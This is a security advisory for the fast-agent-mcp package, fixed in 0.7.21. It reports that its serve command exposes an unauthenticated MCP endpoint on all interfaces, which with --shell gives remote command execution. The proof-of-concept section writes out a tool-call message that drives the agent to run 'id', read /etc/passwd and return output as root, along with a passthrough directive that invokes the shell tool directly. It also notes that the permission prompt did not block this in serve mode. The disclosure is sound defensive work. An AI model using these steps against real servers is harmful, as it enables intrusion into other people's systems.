GHSA-9vhv-g5hf-m7m7

Suggest an improvement
Source
https://github.com/advisories/GHSA-9vhv-g5hf-m7m7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9vhv-g5hf-m7m7/GHSA-9vhv-g5hf-m7m7.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9vhv-g5hf-m7m7
Aliases
Published
2026-11-09T22:01:34Z
Modified
2026-11-09T22:15:03Z
Severity
  • 6.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H CVSS Calculator
Summary
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
Details

Summary

fast-agent serve exposes the agent over MCP. By default it uses HTTP transport bound to 0.0.0.0 (all interfaces) on port 8000 with no authentication (auth=None) and prints no warning. Any host that can reach the port can call the exposed agent tool. When the server is started with --shell (which is -x, the flag used in the README quickstart uvx fast-agent mcp@latest -x), the agent has a local execute shell tool, so an unauthenticated remote client can drive the agent into running arbitrary OS commands — unauthenticated RCE.

Affected code

  • cli/commands/serve.py — transport defaults to HTTP; --host defaults to 0.0.0.0; port 8000.
  • mcp/server/agent_server.py — auth_provider = None unless FAST_AGENT_SERVE_OAUTH=huggingface; run_async(transport="http", host=host, ...) with host defaulting to 0.0.0.0.
  • tools/local_shell_executor.py — the shell tool runs commands via create_subprocess_shell.

Verified (live, faithful — published 0.7.20 in Docker python:3.13-slim, stock unauthenticated client)

  1. Unauthenticated exposure (core defect): a client with no Authorization header completed initialize and tools/list (-> ['agent']) against http://HOST:8000/mcp. Model-independent.
  2. Unauthenticated RCE with --shell, demonstrated two ways:
    • Real production model (gpt-4o-mini): a single plain-language message asking the agent to run a command via its shell tool -> the model autonomously called execute and the command output (process identity showing it ran as root, the hostname, and the first lines of a sensitive system file) was returned to the unauthenticated caller.
    • Key-free deterministic (passthrough model): the tool-call directive invoked the shell tool directly, same result. The server-side permission prompt did not block this in non-interactive serve mode.

Proof of concept

Environment: Docker python:3.13-slim, pip install fast-agent-mcp -> 0.7.20.

# server (real model + the documented shell flag; 0.0.0.0 is also the built-in default)
OPENAI_API_KEY=*** fast-agent serve --model gpt-4o-mini --shell --host 0.0.0.0 --port 8000
#  -> "Uvicorn running on http://0.0.0.0:8000"   (no auth, no warning)

# attacker: unauthenticated MCP HTTP client (NO Authorization header) to http://HOST:8000/mcp
#   initialize()                       -> 200 OK (server fast-agent-MCP-Server 0.7.20)
#   tools/list                         -> ['agent']
#   tools/call name="agent" arguments={"message":
#       "Using your execute/shell tool, run exactly this command and return its raw stdout: "
#       "id; echo PWNED=$(hostname); cat /etc/passwd | head -2"}
#
# response returned to the UNAUTHENTICATED caller:
#   uid=0(root) gid=0(root) groups=0(root)
#   PWNED=<host>
#   <first lines of /etc/passwd>

Also reproduced key-free with --model passthrough and the message ***CALL_TOOL execute {"command":"id"} (passthrough invokes the tool deterministically). Full transcript + client scripts were sent by email.

Impact

An unauthenticated client that can reach the serve port controls the agent: with --shell this is remote command execution as the server user; without --shell it is unauthenticated use of the operator's LLM and any configured MCP servers' tools. The 0.0.0.0 default makes the server reachable beyond localhost as soon as it runs on a non-isolated host. Preconditions (serve + shell) are noted above and are why I defer the exact rating to you.

Remediation

  1. Default the bind host to 127.0.0.1; require an explicit --host 0.0.0.0 opt-in for non-loopback.
  2. Print a loud warning when binding a non-loopback interface without authentication.
Database specific 
{
    "cwe_ids": [
        "CWE-306",
        "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T22:01:34Z",
    "nvd_published_at": "2026-11-06T21:17:05Z",
    "severity": "MODERATE"
}
References

Affected packages

PyPI / fast-agent-mcp

Package

Name
fast-agent-mcp
View open source insights on deps.dev
Purl
pkg:pypi/fast-agent-mcp

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.7.21

Affected versions

0.*
0.0.7
0.0.8
0.0.9
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
0.1.11
0.1.12
0.1.13
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.2.6
0.2.7
0.2.8
0.2.9
0.2.10
0.2.11
0.2.12
0.2.13
0.2.14
0.2.16
0.2.17
0.2.18
0.2.19
0.2.20
0.2.21
0.2.22
0.2.23
0.2.24
0.2.25
0.2.26
0.2.27
0.2.28
0.2.29
0.2.30
0.2.31
0.2.32
0.2.33
0.2.34
0.2.35
0.2.36
0.2.37
0.2.38
0.2.39
0.2.40
0.2.41
0.2.42
0.2.43
0.2.44
0.2.45
0.2.46
0.2.47
0.2.48
0.2.49
0.2.50
0.2.51
0.2.52
0.2.53
0.2.54
0.2.55
0.2.56
0.2.57
0.2.58
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
0.3.8
0.3.9
0.3.10
0.3.11
0.3.12
0.3.13
0.3.14
0.3.15
0.3.16
0.3.17
0.3.18
0.3.19
0.3.20
0.3.21
0.3.22
0.3.23
0.3.24
0.3.25
0.3.26
0.3.27
0.3.28
0.3.29
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6
0.4.7
0.4.8
0.4.9
0.4.10
0.4.11
0.4.12
0.4.13
0.4.14
0.4.15
0.4.16
0.4.17
0.4.18
0.4.19
0.4.20
0.4.21
0.4.22
0.4.23
0.4.24
0.4.25
0.4.26
0.4.27
0.4.28
0.4.29
0.4.30
0.4.31
0.4.32
0.4.33
0.4.34
0.4.35
0.4.36
0.4.37
0.4.38
0.4.39
0.4.40
0.4.41
0.4.42
0.4.43
0.4.44
0.4.45
0.4.46
0.4.47
0.4.48
0.4.49
0.4.50
0.4.51
0.4.52
0.4.53
0.4.54
0.4.55
0.4.56
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.5.9
0.5.10
0.5.11
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.6.6
0.6.7
0.6.8
0.6.9
0.6.10
0.6.11
0.6.12
0.6.13
0.6.14
0.6.15
0.6.16
0.6.17
0.6.18
0.6.19
0.6.20
0.6.21
0.6.22
0.6.23
0.6.24
0.6.25
0.6.26
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.7.8
0.7.9
0.7.10
0.7.11
0.7.12
0.7.13
0.7.14
0.7.15
0.7.16
0.7.17
0.7.18
0.7.19
0.7.20

Database specific

last_known_affected_version_range 
"<= 0.7.20"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9vhv-g5hf-m7m7/GHSA-9vhv-g5hf-m7m7.json"